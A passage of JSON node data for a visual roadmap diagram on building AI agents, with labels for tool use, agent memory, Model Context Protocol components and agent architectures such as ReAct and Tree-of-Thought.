\"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Code Execution / REPL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PK8w31GlvtmAuU92sHaqr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"sV1BnA2-qBnXoKpUn-8Ub\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 598.6975456690336, \"y\": 1533.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Database Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wKYEaPWNsR30TIpHaxSsq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"52qxjZILV-X1isup6dazC\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 598.6975456690336, \"y\": 1586.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"API Requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5oLc-235bvKhApxzYFkEc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qaNr5I-NQPnfrRH7ynGTl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 598.6975456690336, \"y\": 1639.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Email / Slack / SMS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BoJqZvdGam4cd6G6yK2IV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BoJqZvdGam4cd6G6yK2IV\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 598.6975456690336, \"y\": 1692.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"File System Access\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ok8vN7VtCgyef5x6aoQaL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9hKOwIyy5JP5IX_J2a2So\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 483.76555040271785, \"y\": 1387.1068144540936 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 104, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"uMTuTzTcwMBwttBoHuEtr\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 288.35088070462893, \"y\": 1897.400354280238 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Agent Memory\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"nlVToD-pmbBV2ikgrCQiO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 180, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Rjuzmgb1AHnm18qNwbRhQ\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 441.1975456690336, \"y\": 1625.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 146, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TBH_DZTAfR8Daoh-njNFC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 632.80929781038, \"y\": 1813.1210935853253 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Agent Memory?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"M3U6RfIqaiut2nuOibY8W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"M3U6RfIqaiut2nuOibY8W\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 647.0988844716816, \"y\": 2000.5257670010978 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Short Term  Memory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ue633fz6Xu2wa2-KOAtdP\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 647.5988844716816, \"y\": 2092.525767001098 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Long Term Memory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"M3U6RfIqaiut2nuOibY8W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 54,\n      \"style\": {},\n      \"measured\": { \"width\": 232, \"height\": 54 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"UcfPT2eIDT8peU0P8mere\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 702.0988844716816, \"y\": 2054.525767001098 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Within Prompt\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 123, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"gLACXg46Uxaa1bbL8B8K1\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 654.0988844716816, \"y\": 2151.525767001098 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Vector DB / SQL / Custom\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"UcfPT2eIDT8peU0P8mere\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 219, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"zx2EMzU0tWyKo73Ebope9\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 532.0988844716816, \"y\": 2023.1355435052951 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 },\n        \"oldId\": \"NI3gC3eiPXDkirpD7sk10\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 104, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"EfCCNqLMJpWKKtamUa5gK\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 279.48246683384076, \"y\": 2008.6355435052951 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Episodic vs Semantic Memory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 277, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 277,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"T2vksVGCRajcwy_WRe2Yf\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -136.69306946933528, \"y\": 2004.4105696858578 },\n      \"width\": 300,\n      \"height\": 276,\n      \"style\": { \"width\": 219, \"height\": 183 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"gAGw6nEhIY9O5yYmfHTmv\"\n      },\n      \"measured\": { \"width\": 300, \"height\": 276 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CEZcNlJeX6Gb4F1bZNS_X\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -73.19306946933528, \"y\": 2013.328246064165 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Maintaining Memory\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"7AhPsyz0KfJkbn5THLOvb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 173, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wkS4yOJ3JdZQE_yBID8K7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -125.69306946933528, \"y\": 2056.328246064165 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RAG and Vector Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kBtqT8AduLoYDWopj-V9_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"QJqXHV8VHPTnfYfmKPzW7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -125.69306946933528, \"y\": 2109.328246064165 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"User Profile Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mS0EVCkWuPN_GkVPng4A2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jTDC19BTWCqxqMizrIJHr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -125.69306946933528, \"y\": 2162.328246064165 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Summarization / Compression\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sV1BnA2-qBnXoKpUn-8Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"m-97m7SI0XpBnhEE8-_1S\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -125.69306946933528, \"y\": 2215.328246064165 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Forgetting / Aging Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"52qxjZILV-X1isup6dazC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"SU8HwGaDiRCho5I_pBl3N\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 289.47614503814657, \"y\": 2118.910569685858 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Agent Architectures\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"uMTuTzTcwMBwttBoHuEtr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"style\": {},\n      \"measured\": { \"width\": 216, \"height\": 47 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"height\": 47\n    },\n    {\n      \"id\": \"53xDks6JQ33fHMa3XcuCd\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 281.97614503814657, \"y\": 2321.4170226331694 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ReAct (Reason + Act)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"hj1adjkG9nalXKZ-Youn0\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 231 },\n      \"measured\": { \"width\": 231, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 231,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"1B0IqRNYdtbHDi1jHSXuI\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 234.98246683384076, \"y\": 1610.5297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Context Protocol (MCP)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qakbxB8xe7Y8gejC5cZnK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 286, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9FryAIrWRHh8YlzKX3et5\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 243.97212622056713, \"y\": 1764.1210935853253 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MCP Hosts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": { \"width\": 146 },\n      \"measured\": { \"width\": 133, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"CGVstUxVXLJcYZrwk3iNQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 381.9824668338408, \"y\": 1764.1210935853253 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MCP Client\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": { \"width\": 146 },\n      \"measured\": { \"width\": 132, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"yv_-87FVM7WKn5iv6LW9q\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 242.97212622056713, \"y\": 1818 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MCP Servers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": { \"width\": 146 },\n      \"measured\": { \"width\": 271, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"gAPRLPQFVHuB9rBW5-IRG\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 300.35088070462893, \"y\": 1721.2407354438553 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Core Components\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 156, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1NXIN-Hbjl5rPy_mqxQYW\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -103.7455305579661, \"y\": 1711.2407354438553 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating MCP Servers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 229, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CppUUpbDy6j0_wjd94qgO\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -71.7455305579661, \"y\": 1813.6702232480886 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deployment Modes\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 165, \"height\": 38 },\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"iBtJp24F_kJE3YlBsW60s\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -91.2455305579661, \"y\": 1858.6163326459773 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Local Desktop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dHNMX3_t1KSDdAWqgdJXv\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 183 },\n      \"measured\": { \"width\": 204, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 204,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"dHNMX3_t1KSDdAWqgdJXv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -91.2455305579661, \"y\": 1911.6163326459773 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Remote / Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 183 },\n      \"measured\": { \"width\": 204, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 204,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"8ym1jwJfLUnj4uimn5HFR\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 125.2544694420339, \"y\": 1913.900354280238 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 },\n        \"oldId\": \"t1SqlX1PhIL2cTc0h4fXQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 165, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"t1SqlX1PhIL2cTc0h4fXQ\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 467.3290815371215, \"y\": 1913.900354280238 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 253, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qwdh5pkBbrF8LKPxbZp4F\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 281.97614503814657, \"y\": 2374.4170226331694 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Chain of Thought (CoT)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"KcgDVjHRzuaeCs81cnCA_\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 231 },\n      \"measured\": { \"width\": 231, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 231,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"cW8O4vLLKEG-Q0dE8E5Zp\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 281.97614503814657, \"y\": 2268.4170226331694 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RAG Agent\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"hj1adjkG9nalXKZ-Youn0\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 231 },\n      \"measured\": { \"width\": 231, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 231,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"QKXjaGohaNwhuqqwb-z6b\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 301.97614503814657, \"y\": 2226.4170226331694 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Common Architectures\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"5KAj1kjfDUY7xSPJIC2T8\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 191, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5KAj1kjfDUY7xSPJIC2T8\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 284.47614503814657, \"y\": 2434.550271236641 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Other  Architecture Patterns\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 226, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"6YLCMWzystao6byCYCTPO\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 281.97614503814657, \"y\": 2478.4774309459326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Planner Executor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"hj1adjkG9nalXKZ-Youn0\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 231 },\n      \"measured\": { \"width\": 231, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 231,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Ep8RoZSy_Iq_zWXlGQLZo\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 281.97614503814657, \"y\": 2531.4774309459326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DAG Agents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"hj1adjkG9nalXKZ-Youn0\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 231 },\n      \"measured\": { \"width\": 231, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 231,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Nmy1PoB32DcWZnPM8l8jT\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 280.97614503814657, \"y\": 2584.4774309459326 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tree-of-Thought\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"hj1adjkG9nalXKZ-Youn0\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 231 },\n      \"measured\": { \"width\": 232, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 232,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"yaxVwWPeb7mHPZrXaNusP\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 527.9761450381466, \"y\": 2260.410569685858 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      